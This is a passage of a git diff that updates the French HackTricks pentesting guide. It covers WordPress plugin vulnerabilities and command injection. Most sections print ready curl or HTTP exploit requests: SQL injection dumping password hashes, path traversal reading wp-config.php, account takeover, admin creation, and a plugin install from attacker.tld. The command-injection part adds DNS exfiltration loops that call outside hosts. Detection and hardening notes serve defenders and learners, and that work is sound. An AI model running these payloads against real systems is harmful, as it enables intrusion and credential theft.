nom d’utilisateur toujours présent dans `viewing_admin_as_role_are` (autorisation défaillante). +- Se fie à `$_REQUEST['reset-for']` et à une option du plugin sans autorisation côté serveur. +- Si un utilisateur avait auparavant des privilèges plus élevés enregistrés dans `_asenha_view_admin_as_original_roles` et a été rétrogradé, il peut les restaurer en accédant au chemin de reset. +- Dans certains déploiements, tout utilisateur authentifié pouvait déclencher un reset pour un autre nom d'utilisateur encore présent dans `viewing_admin_as_role_are` (autorisation défaillante). Exploitation (exemple) ```bash @@ -493,21 +493,21 @@ Exploitation (exemple) curl -s -k -b 'wordpress_logged_in=...' \ 'https://victim.example/wp-admin/?reset-for=' ``` -Sur les versions vulnérables, cela supprime les rôles actuels et restaure les rôles originaux sauvegardés (par ex., `administrator`), ce qui entraîne une élévation de privilèges. +Sur les builds vulnérables, cela supprime les rôles actuels et ré-ajoute les rôles originaux sauvegardés (par ex., `administrator`), escaladant ainsi les privilèges. Detection checklist -- Recherchez des fonctionnalités de commutation de rôle qui conservent les rôles originaux dans le user meta (par ex., `_asenha_view_admin_as_original_roles`). -- Identifiez les chemins de réinitialisation/restauration qui : -- Lire les noms d'utilisateur depuis `$_REQUEST` / `$_GET` / `$_POST`. -- Modifier les rôles via `add_role()` / `remove_role()` sans `current_user_can()` ni `wp_verify_nonce()` / `check_admin_referer()`. -- Autoriser sur la base d'un tableau d'options du plugin (par ex., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur. +- Recherchez des fonctionnalités de changement de rôle qui conservent les “original roles” dans le user meta (par ex., `_asenha_view_admin_as_original_roles`). +- Identifier les chemins de reset/restore qui : +- Lisent des noms d'utilisateur depuis `$_REQUEST` / `$_GET` / `$_POST`. +- Modifient les rôles via `add_role()` / `remove_role()` sans `current_user_can()` et `wp_verify_nonce()` / `check_admin_referer()`. +- Autorisent sur la base d'un tableau d'options de plugin (par ex., `viewing_admin_as_role_are`) au lieu des capacités de l'acteur. --- ### Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”) -Certains plugins raccordent des helpers de changement d'utilisateur au hook public `init` et déterminent l'identité à partir d'un cookie contrôlé par le client. Si le code appelle `wp_set_auth_cookie()` sans vérifier l'authentification, les capacités et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu'ID utilisateur arbitraire. +Certains plugins raccordent des helpers de changement d'utilisateur au hook public `init` et dérivent l'identité d'un cookie contrôlé par le client. Si le code appelle `wp_set_auth_cookie()` sans vérifier l'authentification, la capability et un nonce valide, tout visiteur non authentifié peut forcer la connexion en tant qu'ID utilisateur arbitraire. Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1): ```php @@ -544,7 +544,7 @@ Pourquoi c'est exploitable - L'identité est dérivée d'un cookie modifiable par le client (`original_user_id`). - Un appel direct à `wp_set_auth_cookie($uid)` connecte le requérant en tant que cet utilisateur sans aucune vérification de capability/nonce. -Exploitation (non authentifiée) +Exploitation (sans authentification) ```http GET /?switch_back=1 HTTP/1.1 Host: victim.example @@ -554,32 +554,32 @@ Connection: close ``` --- -### Considérations WAF pour WordPress/plugin CVEs +### Considérations WAF pour les CVE de WordPress/plugin -Les WAFs génériques en edge/serveur sont réglés pour des motifs larges (SQLi, XSS, LFI). Beaucoup de failles WordPress/plugin à fort impact sont des problèmes de logique/auth spécifiques à l'application qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins. +Les WAF génériques pour edge/serveur sont configurés pour des motifs larges (SQLi, XSS, LFI). De nombreuses vulnérabilités WordPress/plugin à fort impact sont des bugs de logique/authentification spécifiques à l'application qui ressemblent à du trafic bénin à moins que le moteur ne comprenne les routes WordPress et la sémantique des plugins. Offensive notes -- Ciblez les endpoints spécifiques aux plugins avec des payloads propres : `admin-ajax.php?action=...`, `wp-json//`, custom file handlers, shortcodes. +- Ciblez les endpoints spécifiques aux plugins avec des payloads propres : `admin-ajax.php?action=...`, `wp-json//`, gestionnaires de fichiers personnalisés, shortcodes. - Testez d'abord les chemins non authentifiés (AJAX `nopriv`, REST avec permissive `permission_callback`, shortcodes publics). Les payloads par défaut réussissent souvent sans obfuscation. - Cas typiques à fort impact : privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect. Defensive notes -- Ne comptez pas sur des signatures WAF génériques pour protéger les CVEs de plugin. Implémentez des virtual patches spécifiques à la vulnérabilité au niveau applicatif ou mettez à jour rapidement. -- Privilégiez les contrôles à sécurité positive dans le code (capabilities, nonces, strict input validation) plutôt que les filtres négatifs basés sur des regex. +- Ne comptez pas sur des signatures WAF génériques pour protéger les CVE de plugins. Mettez en place des correctifs virtuels spécifiques à la vulnérabilité au niveau applicatif ou mettez à jour rapidement. +- Privilégiez des contrôles en mode sécurité positive dans le code (capabilities, nonces, validation stricte des entrées) plutôt que des filtres négatifs basés sur des regex. -## WordPress Protection +## Protection de WordPress -### Regular Updates +### Mises à jour régulières -Assurez-vous que WordPress, plugins, et themes sont à jour. Vérifiez également que la mise à jour automatique est activée dans wp-config.php: +Assurez-vous que WordPress, les plugins et les thèmes sont à jour. Vérifiez aussi que la mise à jour automatique est activée dans wp-config.php: ```bash define( 'WP_AUTO_UPDATE_CORE', true ); add_filter( 'auto_update_plugin', '__return_true' ); add_filter( 'auto_update_theme', '__return_true' ); ``` -De plus, n'installez que des plugins et thèmes WordPress fiables. +De plus, n'installez **que des plugins et thèmes WordPress fiables**. ### Plugins de sécurité @@ -591,14 +591,14 @@ De plus, n'installez que des plugins et thèmes WordPress fiables. - Supprimez l'utilisateur par défaut **admin** - Utilisez des **mots de passe forts** et **2FA** -- Passez périodiquement en revue les **permissions** des utilisateurs -- **Limit login attempts** pour prévenir les attaques Brute Force -- Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès que depuis le réseau interne ou depuis certaines adresses IP. +- Périodiquement **revoyez** les **autorisations** des utilisateurs +- **Limitez les tentatives de connexion** pour prévenir les attaques Brute Force +- Renommez le fichier **`wp-admin.php`** et n'autorisez l'accès qu'en interne ou depuis certaines adresses IP. -### SQL Injection non authentifiée due à une validation insuffisante (WP Job Portal <= 2.3.2) +### Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2) -Le plugin de recrutement WP Job Portal exposait une tâche **savecategory** qui exécute finalement le code vulnérable suivant dans `modules/category/model.php::validateFormData()`: +Le plugin de recrutement WP Job Portal exposait une tâche **savecategory** qui exécute finalement le code vulnérable suivant dans `modules/category/model.php::validateFormData()` : ```php $category = WPJOBPORTALrequest::getVar('parentid'); $inquery = ' '; @@ -610,9 +610,9 @@ $query = "SELECT max(ordering)+1 AS maxordering FROM " ``` Problèmes introduits par cet extrait : -1. **Entrée utilisateur non assainie** – `parentid` provient directement de la requête HTTP. -2. **Concaténation de chaînes dans la clause WHERE** – pas d'utilisation de `is_numeric()` / `esc_sql()` / de requêtes préparées. -3. **Accessibilité sans authentification** – bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique incorporant le shortcode `[wpjobportal_my_resumes]`. +1. **Unsanitised user input** – `parentid` provient directement de la requête HTTP. +2. **String concatenation inside the WHERE clause** – pas d'`is_numeric()` / `esc_sql()` / requête préparée. +3. **Unauthenticated reachability** – bien que l'action soit exécutée via `admin-post.php`, la seule vérification en place est un **CSRF nonce** (`wp_verify_nonce()`), que n'importe quel visiteur peut récupérer depuis une page publique incorporant le shortcode `[wpjobportal_my_resumes]`. #### Exploitation @@ -628,18 +628,18 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \ -d 'parentid=0 OR 1=1-- -' \ -d 'cat_title=pwn' -d 'id=' ``` -La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant une SQLi. +La réponse divulgue le résultat de la requête injectée ou modifie la base de données, prouvant la présence d'une SQLi. ### Téléchargement arbitraire de fichiers sans authentification / Path Traversal (WP Job Portal <= 2.3.2) -Une autre tâche, **downloadcustomfile**, permettait aux visiteurs de télécharger **n'importe quel fichier sur le disque** via un path traversal. La sink vulnérable se trouve dans `modules/customfield/model.php::downloadCustomUploadedFile()`: +Une autre tâche, **downloadcustomfile**, permettait aux visiteurs de télécharger **n'importe quel fichier sur le disque** via path traversal. Le sink vulnérable est situé dans `modules/customfield/model.php::downloadCustomUploadedFile()` : ```php $file = $path . '/' . $file_name; ... echo $wp_filesystem->get_contents($file); // raw file output ``` -`$file_name` est contrôlé par l'attaquant et concaténé **sans sanitisation**. Encore une fois, la seule barrière est un **CSRF nonce** qui peut être récupéré depuis la page du CV. +`$file_name` est contrôlé par l'attaquant et concaténé **sans assainissement**. Encore une fois, la seule protection est un **CSRF nonce** qui peut être récupéré depuis la resume page. #### Exploitation ```bash @@ -652,11 +652,11 @@ curl -G https://victim.com/wp-admin/admin-post.php \ ``` Le serveur renvoie le contenu de `wp-config.php`, leaking DB credentials and auth keys. -## Prise de contrôle de compte sans authentification via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) +## Unauthenticated account takeover via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9) -De nombreux themes/plugins intègrent des helpers de "social login" exposés via admin-ajax.php. Si une action AJAX non authentifiée (wp_ajax_nopriv_...) accorde sa confiance à des identifiants fournis par le client lorsque les données du provider sont absentes, puis appelle wp_set_auth_cookie(), cela devient un contournement total de l'authentification. +De nombreux thèmes/plugins fournissent des helpers de "social login" exposés via admin-ajax.php. Si une action AJAX non authentifiée (wp_ajax_nopriv_...) fait confiance à des identifiants fournis par le client lorsque les données du provider sont absentes, puis appelle wp_set_auth_cookie(), cela devient un full authentication bypass. -Typical flawed pattern (simplified) +Schéma défaillant typique (simplifié) ```php public function check_login() { // ... request parsing ... @@ -687,15 +687,15 @@ wp_send_json(['status' => 'not_user']); ``` Pourquoi c'est exploitable -- Accès non authentifié via admin-ajax.php (wp_ajax_nopriv_… action). -- Absence de vérifications nonce/capability avant un changement d'état. +- Accessible sans authentification via admin-ajax.php (wp_ajax_nopriv_… action). +- Aucune vérification nonce/capability avant toute modification d'état. - Absence de vérification du provider OAuth/OpenID ; la branche par défaut accepte l'entrée de l'attaquant. -- get_user_by('email', $_POST['id']) suivi de wp_set_auth_cookie($uid) authentifie le requérant comme n'importe quelle adresse email existante. +- get_user_by('email', $_POST['id']) suivi de wp_set_auth_cookie($uid) authentifie le requérant comme n'importe quelle adresse e-mail existante. -Exploitation (unauthenticated) +Exploitation (sans authentification) -- Prérequis : attacker peut atteindre /wp-admin/admin-ajax.php et connaît/devine un email d'utilisateur valide. -- Set provider to an unsupported value (or omit it) to hit the default branch and pass id=. +- Prérequis : l'attaquant peut atteindre /wp-admin/admin-ajax.php et connaît/devine une adresse e-mail d'utilisateur valide. +- Définir provider sur une valeur non supportée (ou l'omettre) pour atteindre la branche par défaut et transmettre id=. ```http POST /wp-admin/admin-ajax.php HTTP/1.1 Host: victim.tld @@ -710,29 +710,29 @@ curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \ ``` Expected success indicators -- HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}. -- Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated. +- HTTP 200 avec un corps JSON comme {"status":"success","message":"Login successfully."}. +- Set-Cookie: wordpress_logged_in_* pour l'utilisateur victime ; les requêtes suivantes sont authentifiées. Finding the action name -- Inspecter le thème/plugin pour les enregistrements add_action('wp_ajax_nopriv_...', '...') dans le code de social login (par ex. framework/add-ons/social-login/class-social-login.php). -- Grep pour wp_set_auth_cookie(), get_user_by('email', ...) dans les gestionnaires AJAX. +- Inspecter le thème/plugin pour des enregistrements add_action('wp_ajax_nopriv_...', '...') dans le code de social login (par ex., framework/add-ons/social-login/class-social-login.php). +- Grep pour wp_set_auth_cookie(), get_user_by('email', ...) dans les handlers AJAX. Detection checklist - Web logs montrant des POST non authentifiés vers /wp-admin/admin-ajax.php avec l'action social-login et id=. -- Réponses 200 contenant le JSON de succès immédiatement avant du trafic authentifié depuis la même IP/User-Agent. +- Réponses 200 avec le JSON de succès précédant immédiatement du trafic authentifié provenant de la même IP/User-Agent. Hardening -- Ne pas dériver l'identité à partir d'entrées client. N'accepter que les emails/IDs provenant d'un token/ID fournisseur validé. +- Ne pas dériver l'identité à partir des données client. N'accepter que des emails/IDs provenant d'un token/ID fournisseur validé. - Exiger des nonces CSRF et des vérifications de capability même pour les helpers de login ; éviter d'enregistrer wp_ajax_nopriv_ sauf si strictement nécessaire. -- Valider et vérifier côté serveur les réponses OAuth/OIDC ; rejeter les providers manquants/invalides (pas de fallback sur POST id). -- Envisager de désactiver temporairement la connexion sociale ou de patcher virtuellement en périphérie (bloquer l'action vulnérable) jusqu'à correction. +- Valider et vérifier les réponses OAuth/OIDC côté serveur ; rejeter les providers manquants/invalide (pas de fallback sur POST id). +- Envisager de désactiver temporairement le social login ou de corriger virtuellement au niveau du périmètre (bloquer l'action vulnérable) jusqu'à correction. Patched behaviour (Jobmonster 4.8.0) -- Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']). +- Retiré le fallback non sécurisé de $_POST['id'] ; $user_email doit provenir des branches fournisseur vérifiées dans switch($_POST['using']). ## Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82) @@ -757,53 +757,53 @@ curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \ --data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}' ``` Pourquoi c'est exploitable -- Route REST sensible protégée uniquement par une preuve d'identité à faible entropie (username) ou permission_callback manquant -- Pas d'application des capabilities ; la clé mintée est acceptée comme un contournement universel +- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback +- No capability enforcement; minted key is accepted as a universal bypass Detection checklist -- Grep dans le code du plugin pour register_rest_route(..., [ 'permission_callback' => '__return_true' ]) -- Toute route qui émet des tokens/keys basés sur une identité fournie par la requête (username/email) sans la lier à un utilisateur authentifié ou à une capability -- Chercher des routes ultérieures qui acceptent le token/la key générée sans vérifications de capability côté serveur +- Grep le code du plugin pour register_rest_route(..., [ 'permission_callback' => '__return_true' ]) +- Toute route qui émet des tokens/keys basés sur une identité fournie dans la requête (username/email) sans la lier à un utilisateur authentifié ou à une capability +- Rechercher les routes ultérieures qui acceptent le token/key créé sans vérifications de capability côté serveur -Hardening -- Pour toute route REST privilégiée : exiger un permission_callback qui applique current_user_can() pour la capability requise -- Ne pas générer de clés à longue durée de vie à partir d'une identité fournie par le client ; si nécessaire, émettre des tokens à courte durée de vie liés à l'utilisateur après authentification et re-vérifier les capabilities à l'utilisation +Durcissement +- Pour toute REST route privilégiée : exiger un permission_callback qui applique current_user_can() pour la capability requise +- Ne pas générer de clés à longue durée de vie à partir d'une identité fournie par le client ; si nécessaire, émettre des tokens de courte durée, liés à l'utilisateur après authentification, et revérifier les capabilities lors de l'utilisation - Valider le contexte utilisateur de l'appelant (wp_set_current_user ne suffit pas seul) et rejeter les requêtes où !is_user_logged_in() || !current_user_can() --- ## Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3) -Nonces prevent CSRF, not authorization. Si le code considère qu'un Nonce valide suffit et saute ensuite les vérifications de capability pour des opérations privilégiées (par ex., install/activate plugins), des attaquants non authentifiés peuvent satisfaire une exigence de Nonce faible et atteindre RCE en installant un plugin backdooré ou vulnérable. +Nonces prevent CSRF, not authorization. Si le code considère le passage d'un nonce comme un feu vert puis saute les vérifications de capability pour des opérations privilégiées (p.ex., install/activate plugins), des attaquants non authentifiés peuvent satisfaire une exigence de nonce faible et atteindre le RCE en installant un plugin backdoored ou vulnérable. - Vulnerable path: plugin/install_and_activate - Flaw: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes” - Impact: full compromise via arbitrary plugin install/activation -PoC (shape depends on plugin; illustrative only) +PoC (la forme dépend du plugin ; à titre illustratif seulement) ```bash curl -i -s -X POST https://victim.tld/wp-json//plugin/install_and_activate \ -H 'Content-Type: application/json' \ --data '{"_nonce":"","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}' ``` Detection checklist -- REST/AJAX handlers qui modifient des plugins/themes en se basant uniquement sur wp_verify_nonce()/check_admin_referer() et sans capability check -- Tout chemin de code qui définit $skip_caps = true après la validation du nonce +- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check +- Any code path that sets $skip_caps = true after nonce validation Hardening -- Traitez toujours les nonces uniquement comme des tokens CSRF ; appliquez des vérifications de capability indépendamment de l'état du nonce -- Exiger current_user_can('install_plugins') et current_user_can('activate_plugins') avant d'atteindre le code d'installer -- Refuser l'accès non authentifié ; éviter d'exposer des actions AJAX nopriv pour des flux privilégiés +- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state +- Require current_user_can('install_plugins') and current_user_can('activate_plugins') before reaching installer code +- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows --- -## Unauthenticated SQLi via s search parameter in depicter-* actions (Depicter Slider ≤ 3.6.1) +## SQLi non authentifié via le paramètre s (search) dans les actions depicter-* (Depicter Slider ≤ 3.6.1) -Plusieurs actions depicter-* consommaient le paramètre s (search) et le concatenaient dans des requêtes SQL sans utiliser de requêtes préparées. +Plusieurs actions depicter-* consommaient le paramètre s (search) et l'ont concaténé dans des requêtes SQL sans paramétrisation. -- Parameter: s (search) -- Flaw: concaténation directe de chaînes dans les clauses WHERE/LIKE ; pas de requêtes préparées ni de nettoyage/validation des entrées -- Impact: exfiltration de la base de données (utilisateurs, hashs), mouvement latéral +- Paramètre : s (search) +- Faille : concaténation directe de chaînes dans les clauses WHERE/LIKE ; pas de requêtes préparées ni d'assainissement +- Impact : exfiltration de la base de données (utilisateurs, hashes), lateral movement PoC ```bash @@ -813,37 +813,37 @@ curl -G "https://victim.tld/wp-admin/admin-ajax.php" \ --data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -" ``` Checklist de détection -- Grep for depicter-* action handlers and direct use of $_GET['s'] or $_POST['s'] in SQL -- Vérifier les requêtes personnalisées passées à $wpdb->get_results()/query() concaténant s +- Grep pour depicter-* action handlers et l'utilisation directe de $_GET['s'] ou $_POST['s'] dans des requêtes SQL +- Revoir les requêtes personnalisées passées à $wpdb->get_results()/query() concaténant s Durcissement -- Utiliser toujours $wpdb->prepare() or wpdb placeholders ; rejeter les métacaractères inattendus côté serveur -- Ajouter une allowlist stricte pour s et normaliser vers le charset/longueur attendus +- Utiliser toujours $wpdb->prepare() ou les placeholders de wpdb ; rejeter côté serveur les métacaractères inattendus +- Ajouter une allowlist stricte pour s et normaliser vers le jeu de caractères/longueur attendus --- -## Local File Inclusion non authentifiée via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) +## Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1) -Accepter des chemins contrôlés par un attaquant dans un paramètre de template sans normalisation/confinement permet de lire des fichiers locaux arbitraires, et parfois l'exécution de code si des fichiers PHP/log incluables sont chargés à l'exécution. +Accepter des chemins contrôlés par l'attaquant dans un paramètre template sans normalisation/confinement permet de lire des fichiers locaux arbitraires, et parfois d'exécuter du code si des fichiers PHP/log inclusibles sont chargés au runtime. -- Paramètre : __kubio-site-edit-iframe-classic-template -- Faiblesse : pas de normalisation/allowlist ; traversal autorisé -- Impact : divulgation de secrets (wp-config.php), RCE potentiel dans certains environnements (log poisoning, PHP incluable) +- Paramètre: __kubio-site-edit-iframe-classic-template +- Flaw: pas de normalisation/allowlisting ; traversal permis +- Impact: divulgation de secrets (wp-config.php), RCE potentiel dans certains environnements (log poisoning, includable PHP) PoC – lire wp-config.php ```bash curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php" ``` -Detection checklist -- Tout handler concaténant des chemins de requête dans des sinks include()/require()/read sans contrôle via realpath() -- Rechercher des traversal patterns (../) s'étendant en dehors du répertoire templates prévu +Liste de contrôle de détection +- Tout handler concaténant des chemins de requête dans des sinks include()/require()/read sans confinement via realpath() +- Recherchez des traversal patterns (../) atteignant en dehors du répertoire de templates prévu -Hardening -- Imposer des templates allowlisted ; résoudre avec realpath() et exiger str_starts_with(realpath(file), realpath(allowed_base)) -- Normaliser les entrées ; rejeter les traversal sequences et les chemins absolus ; utiliser sanitize_file_name() uniquement pour les noms de fichier (pas pour les chemins complets) +Durcissement +- Imposer des templates autorisés ; résoudre via realpath() et exiger str_starts_with(realpath(file), realpath(allowed_base)) +- Normaliser les données d'entrée ; rejeter les séquences de traversal et les chemins absolus ; n'utiliser sanitize_file_name() que pour les noms de fichiers (pas les chemins complets) -## References +## Références - [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/) - [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/) diff --git a/src/pentesting-web/command-injection.md b/src/pentesting-web/command-injection.md index 40e41b4de..89c0cbdbf 100644 --- a/src/pentesting-web/command-injection.md +++ b/src/pentesting-web/command-injection.md @@ -4,11 +4,11 @@ ## Qu'est-ce que command Injection ? -Une **command injection** permet à un attaquant d'exécuter des commandes arbitraires du système d'exploitation sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou de prendre le contrôle de l'environnement de l'application et du système sous-jacent. +Une **command injection** permet l'exécution de commandes arbitraires du système d'exploitation par un attaquant sur le serveur hébergeant une application. En conséquence, l'application et toutes ses données peuvent être complètement compromises. L'exécution de ces commandes permet généralement à l'attaquant d'obtenir un accès non autorisé ou de prendre le contrôle de l'environnement de l'application et du système sous-jacent. ### Contexte -Selon **l'endroit où votre entrée est injectée** vous devrez peut-être **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes. +Selon **l'endroit où votre input est injecté** vous pouvez avoir besoin de **terminer le contexte entre guillemets** (en utilisant `"` ou `'`) avant les commandes. ## Command Injection/Execution ```bash @@ -32,7 +32,7 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful ``` ### **Limitation** Bypasses -Si vous essayez d'exécuter **arbitrary commands inside a linux machine** vous serez intéressé par ces **Bypasses :** +Si vous essayez d'exécuter **commandes arbitraires à l'intérieur d'une machine linux**, vous serez intéressé à lire ces **Bypasses :** {{#ref}} @@ -47,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod ``` ### Paramètres -Voici les 25 principaux paramètres qui pourraient être vulnérables à des attaques de code injection et à des vulnérabilités RCE similaires (d'après [link](https://twitter.com/trbughunters/status/1283133356922884096)): +Voici les 25 principaux paramètres qui pourraient être vulnérables à code injection et à des vulnérabilités RCE similaires (d'après [link](https://twitter.com/trbughunters/status/1283133356922884096)): ``` ?cmd={payload} ?exec={payload} @@ -75,9 +75,9 @@ Voici les 25 principaux paramètres qui pourraient être vulnérables à des att ?run={payload} ?print={payload} ``` -### Time based data exfiltration +### Exfiltration de données basée sur le temps -Extraction de données : caractère par caractère +Extraction des données : caractère par caractère ``` swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi real 0m5.007s @@ -91,7 +91,7 @@ sys 0m0.000s ``` ### DNS based data exfiltration -Basé sur l'outil disponible sur `https://github.com/HoLyVieR/dnsbin`, également hébergé sur dnsbin.zhack.ca +Basé sur l'outil `https://github.com/HoLyVieR/dnsbin`, également hébergé sur dnsbin.zhack.ca ``` 1. Go to http://dnsbin.zhack.ca/ 2. Execute a simple 'ls' @@ -101,7 +101,7 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done ``` $(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il) ``` -Outils en ligne pour vérifier DNS-based data exfiltration: +Outils en ligne pour vérifier DNS based data exfiltration: - dnsbin.zhack.ca - pingb.in @@ -122,7 +122,7 @@ powershell C:**2\n??e*d.*? # notepad ### Node.js `child_process.exec` vs `execFile` -Lors d'un audit d'applications back-end JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`. +Lors de l'audit de back-ends JavaScript/TypeScript, vous rencontrerez souvent l'API Node.js `child_process`. ```javascript // Vulnerable: user-controlled variables interpolated inside a template string const { exec } = require('child_process'); @@ -132,7 +132,7 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay ``` `exec()` lance un **shell** (`/bin/sh -c`), donc tout caractère ayant une signification spéciale pour le shell (back-ticks, `;`, `&&`, `|`, `$()`, …) entraînera une **command injection** lorsque l'entrée utilisateur est concaténée dans la chaîne. -**Atténuation :** utilisez `execFile()` (ou `spawn()` sans l'option `shell`) et fournissez **chaque argument comme un élément distinct du tableau** afin qu'aucun shell ne soit impliqué : +**Atténuation :** utilisez `execFile()` (ou `spawn()` sans l'option `shell`) et fournissez **chaque argument comme un élément séparé du tableau** afin qu'aucun shell ne soit impliqué : ```javascript const { execFile } = require('child_process'); execFile('/usr/bin/do-something', [ @@ -142,23 +142,23 @@ execFile('/usr/bin/do-something', [ ``` Real-world case: *Synology Photos* ≤ 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into `id_user` which was later embedded in an `exec()` call, achieving RCE (Pwn2Own Ireland 2024). -### Argument/Option injection via leading hyphen (argv, no shell metacharacters) +### Injection d'argument/option via un tiret initial (argv, sans métacaractères du shell) -Not all injections require shell metacharacters. If the application passes untrusted strings as arguments to a system utility (even with `execve`/`execFile` and no shell), many programs will still parse any argument that begins with `-` or `--` as an option. This lets an attacker flip modes, change output paths, or trigger dangerous behaviors without ever breaking into a shell. +Toutes les injections ne nécessitent pas de métacaractères du shell. Si l'application passe des chaînes non fiables comme arguments à un utilitaire système (même avec `execve`/`execFile` et sans shell), beaucoup de programmes vont quand même parser tout argument commençant par `-` ou `--` comme une option. Cela permet à un attaquant de changer de mode, modifier des chemins de sortie ou déclencher des comportements dangereux sans jamais passer par un shell. -Typical places where this appears: +Endroits typiques où cela apparaît : -- Embedded web UIs/CGI handlers that build commands like `ping `, `tcpdump -i -w `, `curl `, etc. -- Centralized CGI routers (e.g., `/cgi-bin/.cgi` with a selector parameter like `topicurl=`) where multiple handlers reuse the same weak validator. +- UIs web embarquées/handlers CGI qui construisent des commandes comme `ping `, `tcpdump -i -w `, `curl `, etc. +- Routeurs CGI centralisés (p.ex. `/cgi-bin/.cgi` avec un paramètre sélecteur comme `topicurl=`) où plusieurs handlers réutilisent le même validateur faible. -What to try: +Ce qu'il faut essayer : -- Provide values that start with `-`/`--` to be consumed as flags by the downstream tool. -- Abuse flags that change behavior or write files, for example: -- `ping`: `-f`/`-c 100000` pour surcharger l'appareil (DoS) -- `curl`: `-o /tmp/x` pour écrire sur des chemins arbitraires, `-K ` pour charger une config contrôlée par l'attaquant -- `tcpdump`: `-G 1 -W 1 -z /path/script.sh` pour obtenir une exécution post-rotation dans des wrappers non sécurisés -- If the program supports `--` end-of-options, try to bypass naive mitigations that prepend `--` in the wrong place. +- Fournir des valeurs qui commencent par `-`/`--` pour qu'elles soient consommées comme flags par l'outil en aval. +- Abuser des flags qui changent le comportement ou écrivent des fichiers, par exemple : + - `ping`: `-f`/`-c 100000` pour stresser l'appareil (DoS) + - `curl`: `-o /tmp/x` pour écrire des chemins arbitraires, `-K ` pour charger une config contrôlée par l'attaquant + - `tcpdump`: `-G 1 -W 1 -z /path/script.sh` pour obtenir une exécution post-rotation dans des wrappers non sécurisés +- Si le programme supporte la séparation d'options `--`, essayer de contourner des mitigations naïves qui préfixent `--` au mauvais endroit. Generic PoC shapes against centralized CGI dispatchers: ``` @@ -171,7 +171,7 @@ topicurl=¶m=-n # Unauthenticated RCE when a handler concatenates into a shell topicurl=setEasyMeshAgentCfg&agentName=;id; ``` -## Liste de détection Brute-Force +## Brute-Force Liste de détection {{#ref}} diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md index 180257022..709939f88 100644 --- a/src/welcome/hacktricks-values-and-faq.md +++ b/src/welcome/hacktricks-values-and-faq.md @@ -1,56 +1,56 @@ -# Valeurs et FAQ HackTricks +# HackTricks: Valeurs & FAQ {{#include ../banners/hacktricks-training.md}} ## Valeurs de HackTricks > [!TIP] -> Voici les **valeurs du projet HackTricks** : +> Ce sont les **valeurs du projet HackTricks** : > -> - Offrir un accès **GRATUIT** à des ressources **ÉDUCATIVES de hacking** à **l'ensemble d'Internet**. -> - Le hacking, c'est apprendre, et l'apprentissage devrait être aussi libre que possible. -> - Le but de ce livre est de servir de **ressource éducative** complète. -> - **CONSERVER** des techniques **hacking** géniales publiées par la communauté en donnant aux **AUTEURS ORIGINAUX** tous les **crédits**. -> - **Nous ne cherchons pas à récupérer la reconnaissance d'autres personnes**, nous voulons juste conserver des astuces sympas pour tout le monde. -> - Nous rédigeons aussi **nos propres recherches** dans HackTricks. -> - Dans plusieurs cas, nous écrirons seulement **sur HackTricks un résumé des parties importantes** de la technique et **encouragerons le lecteur à visiter le post original** pour plus de détails. -> - **ORGANISER** toutes les techniques de hacking dans le livre pour qu'elles soient **PLUS ACCESSIBLES** +> - Donner un accès **GRATUIT** à des ressources **EDUCATIONNELLES de hacking** à **TOUTE** la communauté Internet. +> - Le hacking consiste à apprendre, et l'apprentissage devrait être aussi libre que possible. +> - Le but de ce livre est de servir de ressource **éducative** complète. +> - **CONSERVER** des techniques de **hacking** géniales que la communauté publie en donnant aux **AUTEURS ORIGINAUX** tous les 